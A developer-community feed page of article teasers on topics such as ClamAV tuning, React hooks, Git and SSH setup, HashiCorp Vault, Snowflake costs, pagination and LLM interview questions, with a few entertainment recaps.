    Your Snowflake bill is high primarily because of its compute billing model, which enforces a 60-second minimum charge each time a warehouse resumes. This creates a significant "idle tax" on the frequent, short-running queries common in BI dashboards and ad-hoc analysis. You're often paying for compute you don't actually use. A surprisingly high bill for a modest amount of data is frustrating. We see it all the time. The immediate question is, "Why is my bill so high when my data isn't that big?" The cost isn't driven by data at rest, it's driven by data in motion, specifically by compute patterns. For many modern analytical workflows, the bill inflates from thousands of frequent queries accumulating disproportionately high compute charges. If you don't address this, you'll face budget over…  ( 16 min )
    How to Run Efficient ClamAV Scans on a 4GB RAM Server (Without Killing Your Machine)
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building *one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet. Server admins often install ClamAV using the default package and immediately hit a wall: clamscan eats RAM, the server freezes, and everything goes to hell. The fix? clamscan and switch to clamd + clamdscan with proper tuning. This guide shows you exactly how to install, configure, and run ClamAV scans safely on a 4GB RAM machine. Why clamscan Is a Problem on Low-RAM Servers clamscan is the standalone command-line scanner. It loads the ENTIRE virus database (600MB–900MB) into RAM It unloads it after the scan It does this again for ea…  ( 8 min )
    useRef() and how it prevents flicker in a Map component
    Understanding useRef and When to Ditch useState The useRef hook is a pillar of modern React development, especially when working with mobile interfaces in React Native. It's the essential tool for escaping the declarative world of React and dipping your toes into low-level component control. useRef? (The Elevator Pitch) useRef is a built-in React Hook that provides an object whose value persists across component re-renders. It serves two main purposes: Component Reference (The Analogy): To get a direct handle on a component instance (like a TextInput or ScrollView) so you can manually control action-oriented functions. Component-Specific Memory: To hold any value (a counter, a timer ID, etc.) that needs to change without forcing the component to re-render. This memory is persistent b…  ( 8 min )
    Resume screener app
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    Why I didn't get any job till now?
    Recently I completed e-commerce project with scalability and clean architecture using Redis, SOLID principles , Dry code methodology, proper DTOS and BullMQ, avoid race conditions and concurrency safe using occ, mongodb transactions, versioning check, atomic updates, reducing latency by indexing on schemas, centralized state management using redux toolkit, custom hooks for dispatch thunk , optimistic ui update in 🛒 cart, coupon engine, payment integration, shipping integration, notifications, different layers for ui and API integration. Tech Stack : MERN/NEXTJS, Tailwindcss,shadcn ui for styling and making modern , responsive ui. But I didn't get any job or freelancing work after doing such a enterprise level project. Where will be my lack.  ( 6 min )
    Οι Ρόλοι του WordPress Αναλυτικός Οδηγός
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    Python Core Utility - `itertools.groupby`
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    I Built the #1 Fastest Bun Framework At 13 Years Old
    PrinceJS just hit 19,200 req/s, beating Hono, Elysia, and . 2.8 kB gzipped\ 576k requests in 30s\ 21% faster than Elysia\ 106% faster than Express import { prince } from "princejs"; const app = prince(); app.get("/", () => ({ hello: "PrinceJS" })); app.listen(3000); PrinceJS: 19,200 req/s → 576k\ Hono: 16,212 req/s → 486k\ Elysia: 15,862 req/s → 476k\ Express: 9,325 req/s → 280k "I didn't beat them. I destroyed the competition." 🔗 Website: https://princejs.vercel.app\ GitHub: https://github.com/MatthewTheCoder1218/princejs  ( 6 min )
    How I Ended Up Building a Stable Async Processor for n8n (and Turned It Into a PRO Tempate)
    How I Built a Stable Asynchronous Batch Processor for n8n (And Why the Default Loops Weren’t Enough) Async API workflows in n8n get messy fast. Timeouts, rate limits, unstable endpoints, CRM sync delays, retries… I kept running into the same problems over and over. So I built a modular, safe, reusable async batch processor — and this post explains the pattern. Normal loops in n8n fail when you push large datasets: Random HTTP timeouts APIs enforcing strict rate limits Retry logic is inconsistent Long chains become unmaintainable Webhook-based CRMs randomly drop requests I needed something predictable and production-safe. This pattern has 5 independent responsibilities: SplitInBatches → Iteration controller API Request Wrapper → Safe executor Retry Engine → Idempotent retries D…  ( 9 min )
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    🌐 Agentic AI in 2025: How Autonomous Software Is Quietly Becoming the New Found Md Asaduzzaman Atik ・ Nov 14 #ai #programming #career #productivity  ( 5 min )
    Part 1: Mastering Dynamic Programming — 5 Steps to Solve It (Longest Increasing Subsequence Using Tabulation / Bottom-Up)
    Dynamic Programming (DP) has a reputation for being one of the trickiest topics in algorithms. Many learners struggle not because DP is inherently complex, but because they lack a structured approach to reasoning about problems. In this blog, we’ll break DP down into five simple steps that you can apply to most problems. To make things concrete, we’ll use the Longest Increasing Subsequence (LIS) problem as our running example. 🧠 5-Step Framework to Solve DP Problems ### 1. Visualize Examples (Think in Terms of a DAG) Almost all DP problems can be imagined as paths in a Directed Acyclic Graph (DAG). Each state represents a choice, and edges represent transitions to future states. Let’s take our example array: arr = [3, 1, 8, 2, 5] Try to imagine all sequences that can be f…  ( 10 min )
    Nuxt Tutorial 3 - Utils & Composables
    In the previous part, we learned how to work with components and pages. If a certain part of a template is repeated, it's a prime candidate for extraction into a separate new component, in accordance with the programmer's DRY principle. But what if the methods for working with data in the section are repeated? Or what if we want to organize our application better and avoid scary long component files that become difficult to navigate? We certainly can extract the logic from JavaScript (TypeScript) code as well. Nuxt provides automatic imports across the application if we place the relevant files in two additional special folders - /app/utils and /app/composables. Note: In Nuxt v4, these folders are now located inside the /app directory, whereas previously you would find them direct…  ( 11 min )
    Open-Sourcing arkA — A Universal Video Protocol Inspired by RSS
    I’m open-sourcing a new project called arkA, aiming to create a simple, neutral, decentralized video protocol. Think “RSS, but for video.” Key ideas: • storage-agnostic (S3, R2, Arweave, IPFS, NAS) • reference HTML/JS client • optional HLS/DASH/CMAF segment layers • creator-controlled distribution • no algorithms, no tracking Why it exists: Looking for contributors and architectural feedback. Repo: https://github.com/baconpantsuppercut/arkA Discussion board: https://github.com/baconpantsuppercut/arkA/discussions  ( 6 min )
    Understanding err, stdout, and stderr in Node.js
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    Multi-Species Mayhem: Upgrading My Martian Iono-Model from CO Solo to Chemical Choir
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    VS Code vs Visual Studio
    Confused about VS Code vs Visual Studio? You're not alone! 🤔 I've noticed many developers (especially beginners) use these names interchangeably, but they're actually very different tools. Here's a quick breakdown Visual Studio Code (VS Code) 💻 A lightweight, fast, cross-platform code editor ✅ Best for: 🔑 Key Features: Visual Studio (VS) 🏢 A full-featured Integrated Development Environment (IDE) ✅ Best for: 🔑 Key Features: Quick takeaway: VS Code = Fast, versatile editor for most developers Visual Studio = Powerful IDE for .NET/enterprise development Which one do you prefer? Drop a comment! 👇  ( 6 min )
    Why Utility Classes in CSS Make Modern Front-End Development Faster, Cleaner, and More Scalable
    A practical guide to why “utility-first” CSS is winning; and how to use it effectively. Introduction: The War Against Bloated Stylesheets Every front-end engineer eventually hits the same wall; a stylesheet so massive and disorganized that every update feels like defusing a bomb. Overrides pile up, class names drift, and the entire CSS layer becomes a fragile maze. Utility-first CSS emerged as a response to these long-standing pain points; it’s not a fad; it’s a pragmatic architectural pattern that shifts how modern teams write, scale, and maintain UI code. Recent industry reflections highlight that developers are increasingly turning to utility-first approaches because they offer a more predictable and maintainable styling model (Pickering, 2024). For decades, CSS has favo…  ( 12 min )
    5 Key Performance Benchmarks for AI Development in 2025
    5 Key Performance Benchmarks for AI Development in 2025 When we started building our latest AI-powered workflow automation system, we quickly realized that choosing the right tools wasn't just about features—it was about measurable performance. With dozens of AI libraries and frameworks available in 2025, we needed concrete benchmarks to guide our decisions. Through our research and hands-on testing, we identified five critical performance metrics that every AI developer should consider. Here's what we learned and how we approached evaluating different options for our project. The first benchmark we examined was inference speed—how quickly a model processes requests and generates responses. In production environments, this directly impacts user experience and operational costs. MLPerf ha…  ( 11 min )
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    How to create a REST API in seconds Nicolas Bonnici ・ Nov 15 #howto #api #rest #go  ( 5 min )
    Updated errors in this test website I made, Archaic! Bringing your memories to life in an organized bento-grid style to share with friends & family. Still looking for people to test it out, tips for developing this myself in React is appreciated :)
    Building Archaic - Nostalgic memory sharing platform DesignzByOJ ・ Nov 1 #webdev #ai #vibecoding  ( 6 min )
    The Builders: How a Fragmented Life, a Curious Community, and a New Kind of Intelligence Taught Me How to Create
    There is a moment — small, almost imperceptible — that separates a person who “uses” technology from a person whose life is quietly rewritten by it. For me, that moment happened twice. The first time was when I was a boy, staring into the glow of a computer screen my father brought home on a Saturday afternoon. It sat on the kitchen table like an alien artifact — mysterious, humming, full of possibilities I couldn’t yet articulate. I didn’t know it then, but that machine would become my first teacher, my first refuge, and eventually the compass that would orient the rest of my life. The second time it happened, I was an adult — tired, overwhelmed, and sitting at a desk in an office where everyone else seemed to speak a language I couldn’t quite decode. I opened ChatGPT out of desperation, …  ( 10 min )
    The Linux App Structure Explained: Working with /opt, Desktop Entries, and sudo tee
    If you have ever downloaded a portable Linux application or needed to create a custom launcher, you might have come across directories like /opt, files ending in .desktop, or the sudo tee command. Many users run into these concepts without knowing what they mean or how they fit into a normal Linux workflow. This article explains these three topics in a clear and beginner friendly way so you can confidently manage third party applications on your system. The /opt directory is a standard location in Unix based systems. Its name stands for "optional". It is used for installing software that is not part of the core operating system and not managed by your package manager. Here is why software is placed in /opt: It keeps third party applications separate from system installed packages. It preve…  ( 8 min )
    Building a chatbot in Rust powered by Gemini Flash Models. It's pretty cool.
    A post by Tejas Bachhav  ( 6 min )
    SRT Pendulum System Recently Failed? Solutions for Programmer Energy Workers
    Hi everyone, I'm a programmer who loves coding and also uses SRT (Spiritual Response Therapy) and pendulums to balance my inner energy during development sprints. Recently, the SRT pendulum system "crashed" on me, leaving this "energy coder" scrambling. Today, I'll share my story and a full solution guide for fellow devs facing the same issue! SRT Pendulum System Simulation Page body { background: #000; color: #FFD700; font-family: Arial; text-align: center; } .pendulum { width: 200px; height: 200px; margin: 50px auto; position: relative; } .pendulum::before { content: ''; width: 10px; height: 100px; back…  ( 7 min )
    AI-Powered End-to-End Testing: A New Paradigm for Software Quality Assurance
    Table of Contents Introduction The E2E Testing Challenge Problem Analysis The AI Solution E2EGen AI: A Practical Implementation Comparative Analysis Conclusions End-to-end (E2E) testing represents a critical phase in the software development lifecycle, enabling verification of entire system functionality through real-world usage scenarios. This approach requires significant investment in terms of time, resources, and complexity, particularly when performed manually. The primary testing methodologies for E2E divide into two categories: Manual testing: performed by QA teams simulating end-user actions Automated testing: implemented through scripts and automation tools, capable of reducing time but often with high implementation and maintenance costs The goal is to reduce costs and complex…  ( 21 min )
    Building a crypto tool as a solo developer
    “I’m a solo indie developer who built an AI tool for analyzing crypto whitepapers. https://www.whitepaperai.space/  ( 6 min )
    Git and GitHub setup for Linux and Windows | Full Guide.
    Every time I have a new machine, I need to configure a bunch of stuff, including Git, and I wanted to leave a manual for Linux and Windows users on how to properly connect Git on your machine with GitHub. Whether you're starting your coding journey or setting up a fresh Linux (Debian-based) and Windows (Git Bash). sudo apt update sudo apt install git git --version Download Git from https://git-scm.com/install/windows Run installer with default settings\ Verify: git --version git config --global user.name "Your Name" git config --global user.email "you@example.com" git config --list mkdir -p ~/.ssh chmod 700 ~/.ssh ssh-keygen -t ed25519 -C "your_email@example.com" eval "$(ssh-agent -s)" ssh-add ~/.ssh/id_ed25519 cat ~/.ssh/id_ed25519.pub Same commands as Linux. Copy output from: cat ~/.ssh/id_ed25519.pub GitHub → Settings → SSH and GPG keys → New SSH key\ Paste and save ssh -T git@github.com mkdir myproject cd myproject git init echo "Hello Git" > readme.txt git add readme.txt git commit -m "Initial commit" git remote add origin git@github.com:USERNAME/REPO.git git branch -M main git push -u origin main With Git + SSH configured, pushing to GitHub becomes effortless and secure.  ( 7 min )
    Meet GitHub Actions
    Continuous Integration (CI) with GitHub Actions What is CI? Continuous Integration (CI) is a process that automatically tests the latest code to ensure everything works as expected. There are many ways to set up CI, but I find GitHub Actions the easiest to use when hosting a project on GitHub. GitHub Actions runs your project's tests automatically whenever you need it. For example, it can trigger tests when you: Push a new commit Open a pull request This ensures that any new changes won’t break existing features. It gives me confidence before merging anything into the main branch. For public repositories: GitHub Actions is completely free. For private repositories: You can still configure self-hosted runners and use them for free. Enable GitHub Actions Go to your repository, cl…  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    Sean, Amanda, and guest Van Lathan kick off by commiserating over a surprisingly lackluster fall movie slate, then dive into Edgar Wright’s new actioner, The Running Man. They praise Glen Powell’s magnetic lead and some jaw-dropping set pieces, even as the plot veers into “deeply messy” territory. Next up is Now You See Me: Now You Don’t, with Jesse Eisenberg, Dave Franco, and a delightfully sinister Rosamund Pike as a diamond-heiress villain. They revisit their fondness for the original, guess at its box-office fate, and cap things off with Wright himself, who shares insider tales on crafting big studio action sequences and how Powell landed the role. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less
    Everything Wrong With Jurassic World Rebirth In 17 Minutes Or Less CinemaSins has another deep dive where they nitpick every plot hole, overused trope and “dino-cliché” in Jurassic World Rebirth—packing all the laughs and groans into under 17 minutes. They point out how Hollywood just can’t quit reviving this franchise, even if it means looping back to the same old dinosaur beats. Alongside the video, CinemaSins drops links to their website, socials, Patreon and even a poll to learn more about you. The usual credits roll for writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—just in case you want to geek out on who’s tallying up all those sins. Watch on YouTube  ( 6 min )
    ARES Resume Analyzer
    Hello everyone! A few weeks ago, while applying for jobs, I ran into the ultimate modern struggle—matching my resume with job descriptions across portals. The routine was painful: copy resume → paste in ChatGPT/Gemini → copy JD → paste again → hunt for missing skills → pray to the ATS gods → rewrite resume → repeat. Eventually I snapped (in a productive way) and thought, “Why not build a Chrome extension that reads the JD, reads my resume, and instantly spits out a shiny, ATS-friendly resume—no begging, no tears?” So that’s exactly what I'm building. And let me tell you… although I called it a “simple” extension, there is absolutely nothing simple about it. 🥲 I’ll be sharing my daily struggles here—whether they’re useful, relatable, or just mildly entertaining. Also, this is my first post here, so if I overshare, go off-topic, or accidentally trauma-dump about ATS systems… please forgive me. 😄  ( 6 min )
    How to use unsupported macbooks for modern software development
    If you clicked on this, chances are either you own an old unsupported macbook or willing to buy one to kickstart your development journey. Hey, that's a great decision in my opinion. If you don't have enough money to jump to a supported macbook, do not go for cheap Windows laptops. Instead consider an old macboook. Coz macbooks have great displays. You will be starring at text for the rest of the journey so why not go for a better display? Great keyboards (except the 2016-2017 models) Great webcams, speakers and battery backup. MacOS is optimized for these laptops and probability of you getting into OS related bugs are very low compared to Windows machine. Looks skeek, well built, good hinge mechanisms, there's auto brightness for both keyboard and display and many more little qual…  ( 8 min )
    DAY 1 – Introduction to Python
    1.What is Python? 2.Why Python? (Advantages) Comments in Python Keywords *First Python Program 2.arithmetic Operators Data Types in Python 1.Integer 2.String 3.Boolean 4.List 5.Tuples 6.set 7.Dictionary 8.Float  ( 6 min )
    AI Content Marketing: 2025 Strategy Guide
    AI Content Marketing: 2025 Strategy Guide AI has moved beyond the experimental phase in content marketing. In 2025, it's no longer about whether you should use AI—it's about how strategically you deploy it. According to Gartner's 2024 marketing technology survey, 73% of marketing organizations have already invested in AI, but only 31% report measurable ROI improvements. The gap between adoption and results reveals something critical: most marketers are using AI as a replacement tool rather than an amplification system. They're automating the wrong things, at the wrong stages, with the wrong expectations. This guide explores both conventional applications and unconventional strategies that separate high-performing content operations from those merely keeping pace. You'll find frameworks t…  ( 14 min )
    Diciembre de Agentes (2025)
    Diciembre de Agentes es una nueva serie de publicaciones impulsadas por la comunidad durante todo el mes de Diciembre de 2025, en la que te invitamos a ti y a la comunidad tecnológica a compartir sus experiencias, reflexiones éticas, conocimientos técnicos o lo que desees sobre uno de los temas del momento, los Agentes de Inteligencia Artificial. El objetivo es crear un compendio de contenido en español que pueda ser útil a la comunidad (Contenido creado por la comunidad para la comunidad). Sabemos que las comunidades están llenas de gente talentosa. Impulsemos esta idea con el único propósito de crear un espacio colaborativo en el que todos nos beneficiemos, desde expertos, profesionales hasta estudiantes, ávidos buscadores de conocimiento. ¿Te gustaría compartir tus conocimientos con la …  ( 7 min )
    The Developer’s Guide to Multi-Session Automation
    Running a single browser automation session is easy. Running two is straightforward. Running 10, 50, or 100 Playwright/Puppeteer sessions in parallel without leaks, mismatched fingerprints, bot detections, proxy errors, or CPU failures is where most setups break. Anyone who has tried to launch more than a handful of browser sessions has seen this happen: Sessions crash All accounts get banned Playwright/Puppeteer freeze from memory overload Proxies get rate-limited Cookies leak between contexts Detection systems flag everything as automation Common root causes: Identity Isolation: The Real Key to Multi-Session Stability Fingerprints Cookies Storage IP Timezone Locale Language Device metrics WebRTC TLS/JA3 fingerprint An important note: a persistent fingerprint persistent local storage its …  ( 8 min )
    How to implement Pagination in Spring-boot project?
    Before beginning, let’s understand what pagination actually is. Pagination simply means breaking a huge dataset into smaller chunks or pages. This is exactly what you see on e-commerce websites when products load page by page, or when you scroll through Google search results — you never get all the data at once. It's useful because: You save bandwidth. Backend responds faster UI becomes smoother. Database queries remain optimized Suppose we have an API like: /api/books?query=adventure Now we can easily configure the backend to limit the number of items returned. We can also let the client decide how many results they want: /api/books?query=adventure&page=0&size=20 page -> which page number(0-based index) size -> how many items per page Let's implement this properly. We are using Spring B…  ( 7 min )
    react
    A post by Marat Nersesyan  ( 5 min )
    My submission for DEV Education Track
    This post is my submission for DEV Education Track: Build Apps with Google AI Studio. I built, efIQo, a study tool that allows learners create, share and study with custom and AI-powered flashcards and quizzes. I created it without prompts, as it is something I have been working on before I got to know about the DEV Education Track. However, I used the Gemini API for AI functionality and Google firebase for storage and authentication. Click here to try it out. I learnt about structuring data before sending calls to the Gemini API and authentication using firebase. Yes, I was quite surprise with what I could achieve.  ( 6 min )
    Hashicorp Vault for secrets management
    ## Installing and Integrating Vault: A Practical Guide HashiCorp Vault is a powerful secret management tool, offering a secure way to store and control access to sensitive information such as passwords, API keys, certificates, and tokens. This article will guide you through the process of installing, initializing, creating secrets and policies, and finally, how to integrate Vault with a Node.js application. First, you'll need to install Vault on your system. Installation options vary depending on your operating system. Below are some examples: Linux (apt): sudo apt-get update && sudo apt-get install vault macOS (Homebrew): brew install vault Windows (Chocolatey): choco install vault After installation, verify that Vault was installed correctly by running the command vault --vers…  ( 8 min )
    Hashicorp Vault para gerenciamento de segredos
    ## Instalando e Integrando o Vault: Um Guia Prático O HashiCorp Vault é uma ferramenta poderosa para gerenciamento de segredos, que oferece uma forma segura de armazenar e controlar o acesso a informações sensíveis, como senhas, chaves de API, certificados e tokens. Este artigo te guiará através do processo de instalação, inicialização, criação de segredos e políticas, e, finalmente, como integrar o Vault com uma aplicação Node.js. Primeiramente, você precisará instalar o Vault em seu sistema. As opções de instalação variam dependendo do seu sistema operacional. Abaixo, estão alguns exemplos: Linux (apt): sudo apt-get update && sudo apt-get install vault macOS (Homebrew): brew install vault Windows (Chocolatey): choco install vault Após a instalação, verifique se o Vault foi ins…  ( 8 min )
    NPR Music: Nova Twins: Tiny Desk Concert
    Nova Twins crash the Tiny Desk party with a full-throttle set that rips up the “nice girls” playbook. They kick off with the in-your-face bass stomp of Cleopatra, stare down their darker side on Monsters, and duck under the Desk to tweak their “spaceship-size” pedalboards mid-set. Armed with a Harp Blaster mic that turns Hummingbird into a spooky bass odyssey, they cap things off by unleashing the rock-opera showdown Choose Your Fighter—no apologies, just pure, unfiltered energy. Watch on YouTube  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    What Happened With the Fall Movie Slate? Sean, Amanda, and Van Lathan kick things off by wondering why this year’s autumn releases have been such a commercial and critical flop. They tear into Edgar Wright’s messy yet visually thrilling action flick The Running Man (starring Glen Powell), then dive into the legacy magic sequel Now You See Me: Now You Don’t, gushing over Rosamund Pike’s turn as a diamond heiress villain and weighing its box office prospects. In the final act, Edgar Wright hops on to chat about the shifting studio landscape, his secret sauce for building jaw-dropping action sequences, and the hilarious backstory of how Glen Powell landed the lead. The trio wraps up with plenty of hot takes on where Hollywood’s headed next. Watch on YouTube  ( 6 min )
    Games: Atomix
    Atomix is a very simple sliding block tiling puzzle game, in which, the user has to slide the atoms to form the molecule given as a challenge. The source code is maintained here https://gitlab.gnome.org/GNOME/atomix/-/tree/main The game is written in C, with the object-oriented capabilities provided by a system called GObject. The windowing toolkit used is GTK. architecture and learning concepts make it a highly approachable game.  ( 6 min )
    Build in Public: Week 2. How Do People Even Find Influencers?
    If you remember from the last update, we had our first real conflict: Node.js vs Python. Well, democracy has spoken. My "many" LinkedIn followers voted and the winner is Node.js. So this week we’re continuing with one backend, one direction and slightly fewer arguments. But I’m still going to run experiments and do the analysis in Python, sorry not sorry. I also wanted to show the activity from the Build in Public posts so far Day Zero passed 1.5k views, Week 1 is close to 600 and together they brought a nice mix of comments and reactions. In the same week my personal blog on datobra.com gained a shocking total of two new followers, which I honestly count as an achievement. In a world where 90% of the internet text is written by models, getting real humans to read anything feels harder a…  ( 11 min )
    From 11 Failing Tests to a 110-Test "Bulletproof" AI: A Debugging War Story
    I just finished building the "brain" for my VS Code extension, Break Bully. It's a complex AI stack with four ML-driven services: My heart sank. But after digging in, I realized this was the best thing that could have happened. The tests had uncovered every single weakness in my design. Bug Type 1: The "Obvious" Crash (TypeError) The Fix: The simplest fix in the book. A guard clause at the top of every analytics function. // Before // After Lesson: Your tests are your best defense against null. Test what happens when your functions get null, undefined, or []. Bug Type 2: The "Flaky" Bug (The Race Condition) Lesson: If you're testing code that involves setInterval or setTimeout, don't guess. Use fake timers to make your tests instant, deterministic, and 100% reliable. Then I remembered: I had fixed a different bug earlier that correctly set the default to nuclear! My test was outdated. The "failing" test was actually proof that my previous fix was working. The result? 110 PASSING (14s) Exit code: 0 This isn't just a vanity number. This 110-test suite is a safety net. It proves the AI brain is validated. It means I can now move on to building new features (like the CodeTune integration) with confidence, knowing that this "bulletproof" foundation won't break. Thanks for reading my debugging story! What's the "flakiest" bug you've ever had to chase?  ( 8 min )
    🔥 LLM Interview Series(5): Self-supervised Learning and Next-token Prediction
    1. (Interview Question 1) What is self-supervised learning, and why is it essential for training modern LLMs? Key Concept: Self-supervised learning, pseudo-labels, representation learning Standard Answer: unlabeled data by creating labels from the data itself. Instead of relying on manually annotated datasets—which are expensive and difficult to scale—self-supervised learning leverages natural structures and patterns already embedded in large text corpora. This allows models like GPT-style LLMs to learn linguistic, semantic, and world knowledge at an unprecedented scale. In the context of language modeling, the most common form of self-supervised learning is next-token prediction, where the model is given a sequence of tokens and trained to predict the next one. The “label” is simply the…  ( 14 min )
    IPS vs TN Displays in 2025: How to Choose the Right Panel for Work, Gaming, and Daily Use
    When shopping for a new monitor in 2025, one of the most common questions is still: should I choose IPS or TN? Even though OLED and Mini-LED are getting more popular, IPS and TN remain the core LCD technologies used in consumer monitors, laptops, industrial devices, and embedded systems. After working with both technologies in different hardware projects, I’ve realized one thing: the right choice depends heavily on how you use your display. IPS isn’t always “better,” and TN isn’t always “outdated.” Each serves a different purpose. This article breaks down the strengths, weaknesses, and real-world differences you should consider before deciding. IPS (In-Plane Switching) was created to solve the limitations of older LCD technologies—mainly narrow viewing angles and color shifting. IPS keeps …  ( 8 min )
    Is AI Coming for YOUR Job? A Developer's Reality Check
    🤖 That Sinking Feeling You're pairing with GitHub Copilot and it suggests code that's... actually good. And that voice in your head whispers: "Am I becoming obsolete?" I've been there. As the founder of AI Work Shield, I talk to developers every day who are feeling this anxiety. But here's what the data actually shows... Let's look at the numbers from our analysis of 50,000+ developer roles: 85% of developer jobs will be AI-augmented, not replaced Junior dev roles face 35% higher automation risk than senior roles Full-stack developers are 40% more resilient than specialized roles The average developer can automate 30% of their current tasks with AI today The pattern is clear: AI isn't replacing developers—it's replacing specific development tasks. The developers in trouble aren't the o…  ( 7 min )
    Making Money: Explained!
    Money doesn’t just come to those who chase it. It comes to those who respect it, study it, and master it. Making money is the greatest art — and the process boils down to mastering the basics of value, problem-solving, and clarity of purpose. Money is earned by solving real problems: Whether you fix something small (like a broken restroom) or improve a company’s sales conversion rate, you get paid when you add measurable value. Versatility is protection: The more roles and skills you master — coding, marketing, product management, branding, design — the less you need to worry about losing your job. Crystal clarity about money: Understand how your input translates into company profit, and you’ll always have earning power. Business basics: Find a product, solve your own problem first, and of…  ( 7 min )
    Telegram Bot @ChatGPTTlgrmBot Updated to GPT-5.1: New Features and Promo Code
    OpenAI has released the new GPT-5.1, and I didn’t waste any time updating my Telegram bot @ChatGPTTlgrmBot. Now the bot responds using the latest model, which the company describes as “warmer, more intelligent, and better at following instructions.” Even FastCompany confirms: GPT-5.1 is “smarter and more conversational.” To keep up with the hype around the update, several new features have been added to the bot: GPT-5.1 Support – The bot now runs on OpenAI’s latest model. According to OpenAI, GPT-5.1 Instant is “our most-used model, now warmer, more intelligent, and better at following instructions.” In simple terms, the responses are livelier, clearer, and sometimes friendlier. Promo Code System – I added promo code CRTD5, which gives +3 free queries (use the /promo command). This address…  ( 7 min )
    “Computer Networking: The Backbone of the Internet”
    Hello again! I hope you’re all doing well. In my first blog, we explored how the Internet works. Now, we’ll turn our attention to computer networking — the critical foundation beneath the Internet. Let's get back to the next topic. Today, we’re going to dive into computer networking — without networking, the Internet as we know it simply wouldn’t exist. # What is Computer Networking? # In simple terms, computer networking is the process of linking devices (computers, servers, smartphones) so they can exchange data and make communication and resource sharing smoother and more efficient. [ In Technical terms, Computer networking is the practice of connecting devices—such as computers, smartphones, and servers ]. In practice, whether you’re sending an email, streaming a video, or acc…  ( 8 min )
    🧠Deterministic scoring for messy AI agent graphs: what I learned building OrKa v0.9.6
    Over the past 8 months I have been quietly building my own cognition layer for AI systems. Not a shiny frontend. Not another wrapper around a single API. I wanted something that would let me define how a system thinks, step by step, and then replay that thinking when things go wrong. The project is called OrKa-reasoning. With v0.9.6 I finally shipped the part that annoyed me the most: deterministic, explainable path selection in messy agent graphs. This post is a mix of story and architecture. It is not a launch announcement. It is more like a lab notebook entry from someone who got tired of magical routing and decided to replace it with a boring scoring function. If you are building agentic systems, or you care about reproducible AI behaviour, you might find some of this useful. Or you mi…  ( 16 min )
    Closures & Callstacks: Building a Game to Learn JavaScript Closures
    A practical exercise in learning closures by building a tiny idle game - no frameworks, just vanilla JavaScript. Early in my development journey, I struggled with JavaScript closures. The concept felt abstract and slippery - I could read the definitions, but they didn't quite click. So I did what I often do when learning something new: I built a small project that forced me to use them extensively. The result was Closures & Callstacks, a simple browser-based idle game where a party of adventurers battles a dragon. Built with nothing but vanilla HTML, CSS, and JavaScript - no frameworks, no libraries - it served its purpose: by structuring the entire application around factory functions and closures, I finally internalised how they work. The premise is straightforward: you generate a party…  ( 8 min )
    Your Understanding of Abstraction is Incomplete (And It's Holding You Back)
    The Hidden Truth About Software Mastery If there's one concept that separates good developers from exceptional ones, it's abstraction. Yet after 7+ years in professional software engineering and entrepreneurship, I've witnessed countless talented developers fall into the same trap—they use abstraction without truly understanding it. Ask any senior software engineer to define abstraction, and you'll typically hear: "Abstraction is simplifying complex systems by focusing on important characteristics while hiding implementation details." This definition is correct but dangerously incomplete. Yes, abstraction allows us to create clean interfaces for complex systems. Yes, it makes frameworks feel "easy to use." But here's the trap: this false sense of simplicity breeds mediocrity. Here's a pa…  ( 8 min )
    Unlocking the Unsolvable: Parallel Search Algorithms Conquer Complexity by Arvind Sundararajan
    Unlocking the Unsolvable: Parallel Search Algorithms Conquer Complexity Imagine trying to solve a puzzle with billions of pieces, where each placement affects all the others. That's the challenge in many complex games and real-world problems. But what if you could enlist thousands of helpers, working simultaneously, to find the perfect solution? The core idea is to intelligently divide and conquer. A sophisticated search algorithm estimates how promising each potential move is, focusing computational power on the most likely paths to a solution. This is accelerated by running multiple instances of the search algorithm on many CPU cores, all sharing information to avoid redundant calculations and refine the search process collaboratively. Think of it like a flock of birds: each bird indiv…  ( 7 min )
    Beyond the Hype: How Apple Intelligence Will Actually Change Your Daily Productivity
    Beyond the Hype: How Apple Intelligence Will Actually Change Your Daily Productivity The world of artificial intelligence is saturated with hype. Every week, a new model promises to revolutionize everything, leaving business leaders inundated with noise but starved for a clear signal. At Veltrex Labs, our job isn't to amplify that noise; it's to cut through it. We deliver strategic insights and build the technological frameworks that turn groundbreaking potential into measurable business outcomes. Apple's recent unveiling of Apple Intelligence is a perfect example. While many see a collection of new consumer-facing features, our team sees a fundamental shift in the personal computing paradigm—one that will redefine productivity for businesses agile enough to capitalize on it. This isn't …  ( 10 min )
    🚀How My Kubernetes KIND Contribution Got Merged: A Beginner’s Journey Into Real Open Source
    My First Kubernetes Contribution: A Journey of Mentorship, Reviews, CNCF CLA & My PR Getting Merged Contributing to open source was always a dream… Kubernetes is massive. So when I created my first PR to kubernetes-sigs/kind, I didn’t just write a few lines of documentation — Let me take you through the journey — 🌱 The Start — A Small Idea, A Big Step While reading KIND’s Quick Start docs, I noticed something simple: 👉 There was no example for loading multiple Docker images in a single command. Beginners do this all the time. So I decided to contribute this: kind load docker-image my-app:latest my-db:latest my-cache:latest A small, beginner-friendly improvement — 🧪 Step 1: Passing the CNCF CLA — My First Real Gate Before ANY Kubernetes PR can be tested or reviewed, contributors must pas…  ( 9 min )
    A story is a lie and a story is true
    A story is a lie and a story is true Kurt Vonnegut's theory that stories have shapes was validated by researchers analyzing 1,327 famous stories through machine learning. Vonnegut proposed stories follow common patterns like 'man in a hole' and 'boy meets girl', which researchers confirmed by classifying 1,327 Project Gutenberg stories. Stock prices follow narrative shapes too, as shown when Match.com dropped 22% after Facebook's dating announcement despite unchanged fundamentals. Investment pitches are essentially stories about stocks, where competing narratives like 'icarus' versus 'boy meets girl' shape market reactions before business changes occur. 👉 Read full article  ( 6 min )
    Connecting Cassandra with Django: The Complete Guide (With & Without Docker)
